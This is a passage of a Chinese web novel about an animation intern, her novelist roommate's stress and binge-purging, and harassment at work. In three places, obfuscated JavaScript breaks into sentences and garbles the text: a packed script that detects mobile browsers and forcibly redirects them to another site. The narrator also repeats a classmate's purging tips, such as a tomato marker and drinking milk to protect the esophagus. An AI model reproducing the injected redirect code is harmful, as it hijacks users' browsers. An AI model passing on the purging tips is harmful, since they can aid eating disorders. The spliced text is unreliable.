“太太在吗?” 她发来一张图片,蓝蓝的天空上有一朵云。 我在手机上打字:“今天的天气可真好啊。” 还没来得及发出去,富婆又发了一条消息,“太太你看这朵云,像不像你欠我的稿?” 我:“......” 我惊慌地摆着手,赶紧把没有发出去的那条消息给删了。 约稿的富婆:“太太!你不要以为不回我消息就可以当做无事发生!我看见你正在输入中了!为什么拖稿!” “ Look my eyes!” “ Tell me why!” 我觉得人生一片灰暗,处处愁云惨淡。 我又开始嘤嘤叫了,向苍天发出有气无力的怒吼。 唐雨微把我的工资条来回看了好几遍,倒吸一口凉气后问我:“你怎么还倒贴钱上班呢?” “工资3500,去医院花了1200,通勤我算300,早餐300,面试前去优衣库买衣服花了470,两瓶海露眼药水花了120,这已经是2390块钱了,你这个月因为工作没怎么接稿......” 她抬头看我:“别人上班赚钱,你上班怎么还倒贴钱呢?” 我:“......” 我试图狡辩:“如果不生病,我还是能攒下来一点的!” 她又抬头看我:“不上班的时候,你一个月能赚2万多一点,上班后你这个月赚了多少钱?” 我掐指一算,语气逐渐虚弱:“码字稿费3680.86,画稿5600,实习工资3500。” 我还没来得及点开计算器算出数字,唐雨薇轻启朱唇,淡淡道:“12,780.86。” 我萎靡了。 但我还是要坚持上班。 谁还没有梦想呢,每一个学动画的人都希望哪一天自己的名字可以出现在动画片头上。 于是我又去上班了。 那个公司附近的公交站有一个中年人,天天露鸟。一开始有人提醒过我,因为我上个月没有遇到,所以就渐渐的淡忘了这件事,直到有一天晚上我加班后准备打滴滴,迎面一个男的走过来,突然向我解开了他身上的灰色呢子过膝大衣。 贫瘠苍白的消瘦肢干。 同样贫瘠的某个部位。 跟我一起等车的另一个女同事发出一声尖叫,拉着我就跑。 这位女同事叫小夏,和我一样是应届毕业生,毕业于川美,是一个非常有才华的人。 我俩经常聚在一起吐槽,比如动画里女性人物建模,小夏说她看着那些建模就难受,我说能不难受吗,你看她们的胸,都快比她们脑袋大了。 小夏无奈苦笑:“胸前顶俩铅球真的有美感么?” 在此不得不提一下玄机的秦时明月,第5部的女性人物建模不仅有铅球胸,甚至还穿上了渔网袜和情趣内衣,我觉得制作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138140|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组那帮男的真是疯了。 扯远了,那个遛鸟的变态朝我们俩跑过来,我和小夏手牵手一路狂奔,跑到了一家小超市。 小夏正要报警,收银的大姐叹了口气儿,用特别同情的神色看着我们两个,说道:“没用的,那是个精神病,一直在这片溜达,警察也没法管。” 我一边拍着胸口喘气一边八卦:“咋还疯了呢?” 大姐说道:“具体原因也不知道,就知道他以前是个学美术的。” 我和小夏一起咳嗽起来。 大姐又慈爱地问我们两个:“你们做什么的,咋这么晚才下班呢?” 我说道:“我是会计,在公司平账。” 一旁的小夏:“我是审计,在公司审查。” 店里卖热奶茶,我和小夏一人买了一杯,当滴滴开到超市门口时,大姐把我送到车前,我感动的快要哭了。 到家后已经半夜十二点了,我脱了鞋子,疲惫地穿上了拖鞋,唐雨薇也没睡,在客厅里看电视。 电视里放着一部外国的片子,美丽的少女正在一堆面粉中跳舞。 我说道:“怎么想起看《美国往事》了。” “写文被吓到了,睡不着,随便找了部片子看。” 我打了哈欠,脱了身上的外套去洗手间洗漱,当我把脸浸泡到热水里时,我长长的呼出一口气,抬头看着镜子里满脸水珠的自己。 人为什么要上班啊? 为什么我们公司只有单休啊! 好想找一个世界毁灭的按钮摁一摁啊! 回家后我和小夏互报平安。 谈话的末尾,小夏说道:“愿世界早日毁灭。” 明天是周日,不用上班,我也可以肆无忌惮的熬夜了,我喝着奶茶,陪唐雨薇一起看电影,唐雨薇把亮度稍微调暗了些,对我说:“生活总是很辛苦的。” 工作里的一些琐碎小事是无法说明白的,我像一只霜打的茄子,蔫了吧唧的坐在沙发上发呆。 长叹三声后,我去厨房喝水,路过餐厅时,我看见餐桌上摆着一堆肯德基,差不多是两三个成年人的量。 我拿着水杯出来,“今天你的朋友来找你玩了吗?” 唐雨薇摇头。 她看起来状态不太好,有点疲惫。 人在某些时刻会想暴饮暴食,我能理解,可能写文的时候唐雨薇又遇到了一些坎坷。虽然我总调侃她是工业化流水线写作模式,但我知道其实她写的每一本书都是要耗费很多心血的。 从易学角度来说,很多网文写手的八字里都带有食伤,食伤泄秀就是发挥自己的聪明才智、耗费自己的心血来凝结成作品。 耗费心血的过程都是带点痛苦的。 优秀的文字往往蕴含着强大的感染力,而这些感染力源自于一个作者对文字的超强感知能力和驾驭能力。 一旦失去对文字的感知,就好像血肉上生了一层厚厚的锈,灵感被尘封在厚重的铁锈里面,无论如何也触及不到。这时候写下的每一个字都是钢丝球在血肉上磨,把那层锈磨掉,露出血淋淋的皮肉,再继续往下写。 我的八字就是食伤泄秀木火通明的格局,当年那个给我看八字的先生说我木火相生才华横溢,会在文学科技领域成名。 然后有一天,我忽然想成为一名作者,那时候我连键盘都没有,就在手机上敲敲打打,写下了很多很多的废稿。 虽然我只是一个一星作者,至今也没有成名,但写作仍然让我痛苦。 更可恨的是,我总是无法割舍这种痛苦。 12. 第 12 章 我的神毫文一夜之间涨了一千个收藏,成绩有了明显的起色,当日收入增加了三百块钱。 我以为是读者老爷们慧眼识珠,结果点开手机一看,原来是唐雨薇在她的微博上推荐了我的文。 我怎么也得感谢一下。 我和唐雨薇的经济实力差距太大,都说送人礼物不要讲性价比,五百块钱送一双袜子绝对比送五百块钱的茶叶更让人印象深刻。 思来想去,我送了唐雨薇一套键帽。 这套键帽花了我286块钱,很难买,还是让手速很快的肥猪满圈帮我抢到的。 肥猪满圈一如既往的热心肠,特别体贴地帮我抢了大全套,适配市面上所有配列的键盘。 肥猪满圈大学毕业后成为了一名全职写手,目前已经积累了一批稳定的粉丝。她现在写的这本小爆了一把,单本赚了53万,成功摘得四星,正式成了一名四星作者。 我很羡慕。 她在绿泡泡里问我最近怎么样,我说我快要上班上死了。 肥猪满圈痛哭流涕:“我已经半个月没下楼了,昨天下楼买可乐,差点恐人。” 我:“我去,这么拼?” 肥猪满圈:“没办法啊,缺了点灵气和天赋只能靠勤奋补足了,金榜竞争太激烈,少更一千字都往下掉一个名次,只能每天日万。” 肥猪满圈这话就很谦虚了,能靠写文赚上几十万的人是不可能没有天赋的,只不过天赋也分等级罢了。 顶级的天赋写顶级的文,没有天赋的人,文章里难免多了几分匠气,这时候就只能靠勤奋和汗水来弥补了。 我因为有画稿带来的收益,所以写文的时候一直都很佛系,我一直都日更3000,偶尔心情好了,状态不错了,试一试写个6000,但日码1万字,对我来说还是有点太超过了。 我:“日万......听起来好可怕......” 肥猪满圈:“写起来更可怕,腚都坐平了,姐妹我日夜在水深火热之中艰难求生,全靠一口仙气活着。” 为了肥猪满圈的健康着想,我噼里啪啦打字:“要不然出去走一走,和朋友吃个饭什么的,天天圈在一个屋子里,思维都狭隘了。” 肥猪满卷一整个大叹气,给我拍了一张她的书架。 好家伙,直达棚顶的书架放满了书,还有一些书连外面的塑料封膜都没有拆开,凌乱的堆在书架旁边。书桌的四周也都散落着各式各样的书,有些书用夹子夹着,直接摊开在地毯上,还有一些书夹了书签,在书房里靠墙的一张小沙发上。 我一个大震惊:“你要转行开书店啊?” 肥猪满圈:“哎哟,我在查资料唉,你知道我现在写的这本书需要查多少资料么,灵异文写起来太痛了,要不是订阅太好,我根本坚持不下去。” 她现在这本书名叫《豪门真千金全职捉鬼》,里面涉及了大量的道家和佛家的知识,把我看的一愣一愣的。 肥猪满圈:“写完这本书,如果我以后不写文,我就去当风水先生,我前天往我卧室窗前放了一块石敢当,还别说,从此之后睡眠好多了,人也精神多了,收益也增多了。” 我沉默了会儿,发了条语音:“你那个石敢当有链接么?” 肥猪满圈:“咋了,唐唐家风水格局不好啊?” 我说道:“唐唐家风水挺好的,我驱驱上班的怨气。” 江浙沪这边的快递真的超级快,晚上下单,第2天下午快递就送到了。 等我下班回来的时候,唐雨薇已经把键帽安装好了,还特意拿起键盘给我看。 那真是一套特别漂亮的粉色键帽,和唐雨薇的一把客制化铝坨坨键盘特别相配,我们俩坐在一起欣赏换了一身皮肤的键盘。 唐雨薇搂着我的肩膀,有些唏嘘,“都倒贴钱上班了还要给我买礼物。” 我乐了:“滴水之恩,自当涌泉相报,公若不弃,布愿拜为义父!” “而且你收了那么多徒弟,应该经常收到这种礼物吧?” 唐雨薇又开始笑,“哪有很多徒弟呀,这两年也就肥猪满圈一个。” 她换了个坐姿椅在沙发上,“我刚开始写文那两年,特别喜欢交朋友,我在论坛上认识了一个特别热情的写手,聊了两年多,我经常帮她修改文章,教她怎么写文,我们见过面,还互相送过礼物。” 我一听就知道这其中有故事,立马精神起来了,“那后来呢?” “后来她抄袭我。” “啊???” “有一段时间我们几乎无话不谈,聊天的时候我说了一些新文的灵感和人物设定,还有一些比较重要的梗。” 我:“这已经是一篇文的核心了。” “是啊,”唐雨薇叹气,“她那本文小火了一下,从一星到三星。” “那你有没有找她对峙啊?” 唐雨薇摇头:“我保存了聊天记录后立刻把她删了,多说一个字都嫌恶心。” 我:“那后来呢?” 唐雨薇耸肩:“后来她扑的很惨,也就那一本成绩不错,毕竟我这样吸血包很难找到第二个了。” 我连忙给她捶肩:“不伤心不伤心,以你今时今日的地位,想求你指点看文的人多的是,旧的不去新的不来哈。” 唐雨薇又开始笑。 她最近脸上总挂着一些莫名其妙的微笑,淡淡的,飘飘的,有一种淡淡的死感。 说着说着我有点渴了,去厨房倒水,路过餐厅时又看到餐厅上摆着一堆肯德基全家桶。 我端着水杯又坐回沙发上,“虽然我不在家,但你一个人在家也要好好吃饭,不要总吃肯德基,你这么有钱,给自己点一些日料啊什么的多好啊。” 唐雨薇开了电视,拧开了一瓶气泡水,“点开外卖一半都是川菜湘菜,杭州的川菜吃起来好奇怪,川菜还得在四川吃啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138141|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就肯德基很正宗。” 工作6天后又到了周日放假的时间,我跟唐雨薇去吃卤致号,这是一家潮菜餐厅,招牌菜是卤鹅拼盘。 杭州的所有菜口味都偏淡偏甜,卤鹅也稍微淡一点。 我们俩为了这一顿,中午都没有吃午饭,服务员把菜端上来之后我猛猛拍照,然后把手机一扔,开始酷酷炫饭。 这一顿饭我们俩吃的都很满足,也吃的特别撑,我偷偷松了松腰带,又把牛仔裤的扣子悄悄解开了,然后和同样吃撑的唐雨薇手挽着手回家了。 杭州这个地方不缺好吃的漂亮饭,但是吃这些好吃的漂亮的饭都需要很多的钱。 回到家之后,唐雨薇去了洗手间。 她这次去洗手间的时间比较长,我去冰箱里拿柠檬准备泡水的时候,发现冰箱里的一升装燕麦牛奶不见了。 吃得这么撑,唐雨薇怎么还喝燕麦奶? 路过餐厅时我扫了一眼,餐桌上没有燕麦奶,那唐雨薇是拿着燕麦奶去了洗手间? 拿燕麦奶去洗手间干嘛啊,哪个正常人去洗手间喝燕麦奶啊? 我百思不得其解。 过了一会,唐雨薇拿着燕麦奶从洗手间里出来了,她把燕麦奶盒子放在一边,开始漱口。 电光火石间,我脑子里冒出俩字。 ——催吐。 每个人都有自己的生活方式,每个人的胃也不一样。 有的人吃多了会难受,吐出来会好受一点,睡在我对床的大学室友就很喜欢催吐,不知道是不是学美术的女生都特别注意自己的身材和容貌,反正我遇见的兔子(经常催吐的人)挺多的。 有一部分人在压力特别大的时候会暴饮暴食。 我参加美术集训那年宿舍里有一个很勤奋的同学,她的体重只有81斤,我们在凌晨一点画完作业,她会出去买两碗加炸蛋和猪脚的大份螺蛳粉,再配上两大杯冰奶茶拿回宿舍吃,她吃完之后就一边喝奶茶一边去厕所催吐。 她的纸抽用的特别快,吐着吐着就会鼻涕一把泪一把的来找我借纸。 这种行为我不建议,但是我能理解。 这位女同学基础不错,而我是零基础集训,那个时间压力太大,画着画着就莫名流泪,有时候上着课呢,突然就胸闷气短喘不上气儿,胸口就像压着一块石头似的,一周之内浑浑噩噩的瘦了八斤。 我经常和这位女同学抱头痛哭,她就建议我多吃点东西发泄压力,吃完之后再全部吐出来,这样就会觉得很轻松。 她还告诉我一些小窍门,比如先吃一个小番茄做标记,在呕吐物里看到这个小番茄就算吐干净了。因为呕吐物含胃酸会腐蚀食道黏膜,所以喝点牛奶什么保护一下嗓子和食道。 我听的叹为观止,但我并没有尝试,因为我只有很少很少的钱。 后来她考上了央美,我考上了陶瓷大学。 我们都有光明的未来。 13.第 13 章 唐雨薇把燕麦奶的盒子放在洗手台上,对着镜子漱口,又拿出洗鼻子的喷雾清洗鼻腔。 做完这一切,她又洗了把脸,撕开了一张面膜贴在自己脸上。 “跟我一起拉片啊?” 她用一种莫名轻快的语调对我说,我从沙发上站起来,把客厅的茶几搬到了她的卧室。 她关了灯,只把台灯点开。我抱着南瓜抱枕坐在地毯上,翻开新买的本子,跟着唐雨薇一起在本子上写写画画,偶尔我不知道该写什么的时候,就抬头看一眼唐雨薇的笔记,借鉴一下唐雨薇的拉片思路。 这次拉片的电影是穆赫兰道,这个电影非常复杂,刚看的时候,我以为这是一部温馨的搞笑电影。 看着看着,眉头就渐渐皱了起来。 很多电影都会采取线性叙事的规则,但这部电影是梦境与现实的双线交叉叙事,就导致剧情特别特别的复杂,我虽然看着电影,但是脑子里已经出现了一座迷宫,怎么走都找不到出口。 看到最后,原来这一切都是一场梦。 怪不得剧情如此混乱。 因为梦就是混乱的。 让我印象很深刻的是其中一个女主的那种自卑、愤怒与悲伤,好像一个大摆锤,来来回回敲击着我的心脏。 最后几分钟的闪回结束后,唐雨薇的眼泪毫无预兆地砸了下来。 她坐在地毯上,带着防蓝光眼镜,手里拿着碳素笔,笔尖在纸上画出了很多圈圈,一双眼睛呆呆地看着屏幕,眼泪像透明的线,铺满了她的脸。 强大的文字感染能力必然是写作者强大的共情能力导致的结果。 强大的共情能力使文字蕴含了充沛的感情,但也会让写作者陷入无法自拔的痛苦之中。 优秀的文学作品会发出灿烂的光辉,创作者的生命和情感则是使它们发光发热的燃料。 我默默递给唐雨薇一张面巾纸,唐雨薇擦擦眼泪,“这是我第3次看它了,每一次感受都不太一样,你觉得呢?” 我很诚实地回答:“我觉得有点难懂,那个蓝色小盒子里装的是什么啊,那一对老夫妇又是谁啊,杀手杀的第一个人又是哪个啊,卡米拉到底死没死?” 唐雨薇虚弱地笑了笑,“我第一次看的时候也像你这样,觉得这部电影在故弄玄虚,后来写文,发现它的叙事节奏可以借鉴一下,很适合用在一些悬疑场景里。” 我又递给唐雨薇一张面巾纸,唐雨薇擦掉鼻涕和眼泪,虚脱般的躺在地毯上,她做了手臂向后伸展的动作,手臂和肩颈的线条特别的流畅优美,呈现出舞者才有的力量感和节奏感,就像一只引颈受戮的天鹅。 我这才想起她和我说过,她跳过十几年的芭蕾。 我犹豫了一下,还是问道:“你是不是最近压力有点大?” 唐雨薇看着我,一头栗棕色的波浪卷发铺在米白色的地毯上,对我笑了笑,“没有什么压力,只是我对自己有点失望。” 我这会儿有点不知道该说什么,难道要说她对自己要求太高么。 唐雨薇和我不一样,当年她是高考考砸了才去的复旦,她说去不了清华和北大就感觉自己的人生要被毁掉了。 像我这种学渣,不能用自己的想法去对她批判些什么。 我谨慎地想了想才说道:“我文化课分数不高,说不出特别有哲理的话,只能拿自己的切身经验举个例子。” “我去参加美术集训的时候不敢落笔,旁边一起上课的同学都已经把大轮廓画出来了,我还拿着铅笔坐在那发呆,不知道要从哪里画起,因为我真的是什么基础都没有,根本就不懂画画,教素描的老师走到我身边,对我说不要害怕,先画出一团垃圾出来也挺好的。” 唐雨薇看着我,我叹气,“后来我真的画出了一团垃圾,但我感到好极了,也轻松极了,因为我觉得这是一个很好的开始。” 唐雨薇又对我笑了笑,然后点开了一部鬼片。 这部鬼片是大名鼎鼎的咒怨,后劲十足的日式恐怖天花板。 我看到那个鬼从被窝里钻出来那段人已经麻了,扯着唐雨薇的头发高声尖叫起来。 唐雨薇也抱紧了我,我们俩抱成一团,一边尖叫一边往后缩。 我的脑袋撞到了房间里的书桌腿,唐雨薇的鼠标和护手霜正好掉下来砸在我们的肩膀上,我虎躯一震,唐雨薇娇躯一颤,我们俩叫的撕心裂肺,嗓子都快喊劈了。 唐雨薇一边尖叫一边怒骂:“这*%$鬼怎么回事啊!能不能守点规则!怎么还钻被窝!我要告到天庭!告到天庭!” 我们俩战战兢兢地看完了,吓得手脚发软,连电脑都不敢关,明明已经到了片尾曲,却谁也不敢靠近屏幕。 唐雨薇拿起捶背的艾草养生锤,咚的一下砸向关机键。 电脑熄屏了。 我们俩瘫坐在地毯上。 过了几秒,我瑟瑟发抖地说道:“浑身凉飕飕的,我去做两杯热拿铁吧。” 燕麦奶就没有了,只能用牛奶,我拿着打泡器把咖啡打发,把热好的牛奶倒进去,端着两个陶瓷杯去了卧室。 喝完咖啡看了一眼手机,晚上8:56,所以我们的高分贝尖叫也不算扰民。 喝完咖啡之后唐雨薇去洗杯子,我又把茶几搬到了客厅。 唐雨薇洗完杯子回来了,开始左看看右看看。 “你看什么呢?” 唐雨薇说道:“你有没有觉得咱们这房子特别热闹?” “啊?” 唐雨薇抱住了我的胳膊,“你不觉得哪儿都是人吗?” 我立刻打了个哆嗦叫了起来:“哎呀你能不能不要吓人了,我刚缓过来一点,你这样一说我还怎么睡觉啊,被窝封印都失效了!” 最可恨的是,我明天还要上班! 我拿出手机开始放苏维埃进行曲,就让这钢铁洪流踏破一切吧! 晚上我们俩又睡了一张床,这次睡在了唐雨薇的主卧。 主卧的床更大,是1.5米的大床,我们俩盖着被子躺在床上玩手机,在各自的评论区里翻评论。 看完评论之后,我关掉手机还是睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142339|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不着,在一旁碎碎念:“为什么咒怨里的鬼要钻人被窝啊,好讨厌这种没有边界感的鬼.......” 唐雨薇抖了一下,一把捂住我的嘴:“好了你不要再说了。” 我安静了,她也安静了,我们在一片安静中睡着了。 早上醒来的时候,我的手又伸进了唐雨薇的睡裙里,吓得我狠狠一哆嗦,赶紧把手拿开了。 我惊慌地跳下床跑到洗手间里洗漱,蹑手蹑脚地去厨房里做早餐。 做完早餐,唐雨薇还没醒,我把食物放进锅里保温,拎着帆布包赶公交车。 周一上班真是让人半死不活的,我踩点到了公司,小夏坐在工位上哈欠连天,也一副半死不活的样子,我们又点开电脑开始做特效渲染。 过了一会儿,我们的组长来了。 我和小夏的组长姓朱,长得也很猪,我们无意对他人的外貌进行审判和攻击,但这位带实习生的朱姓组长真的非常的油腻。 我和小夏做特效渲染的时候,他经常站在我们俩后面指点,指点着指点着,他那油腻肥厚的短粗猪手就搭在了我和小夏的肩膀上。 他经常给我们俩发绿泡泡,约我们俩出去吃饭看电影,或者是探讨一些渲染细节。 我回消息都很敷衍,除了工作问题都回的很敷衍,他发啥我都回哈哈哈,因为我有副业收入,再加上不用付房租,经济上没那么拮据,所以有那么一点有恃无恐。 小夏的性格有点软,不会和别人撕破脸,所以这位朱姓老员工就有点得寸进尺,有一次指点动物毛发渲染细节时,他居然把手放在了小夏的腰上。 油光锃亮的猪刚鬣脸闪着油腻的光,一边摸小夏的腰一边说道:“工作久了要注意姿势,别总弯着腰,要挺胸抬头啊。” 他把那个“胸”字咬的特别重,听得我怒从心起,但是我没有办法做什么,因为小夏还在他手底下实习。 想帮忙,又不知道会不会帮倒忙。 有另外一个比较沉稳的男同事看不下去了,叫这位朱姓员工看看他发过去的素材包。 朱姓员工被叫走之后,小夏的脸色已经很不好看了。 有时候工作和宫斗没啥区别。 在公司里,我还和一位女员工不太对付,这个女员工总把自己手头上的一些工作推给我,美名其曰让我多学习。 我口头上答应的很好,但就是拖着不做,每次她问起,我都说手里的东西没忙完,都是总监急着要的。 一来二去,她吃了亏,也不把手里的工作推给我了,每次看见我她都会翻白眼,然后把手里的保温杯往桌子上重重一放,或者是把鼠标往桌子上一摔。 我懒得理她,这位女同事特别爱穿紫色的毛绒线衫,我总觉得她像一个发了霉的茄子。 有一天,一个中年女人找到了我们公司,一进公司就问谁是小夏。 我和想象的工位紧挨着,那位发了霉的茄子不知道是有意还是无意,朝我指了一下。 然后那位中年女子就朝我快步走过来,狠狠给了我一耳光。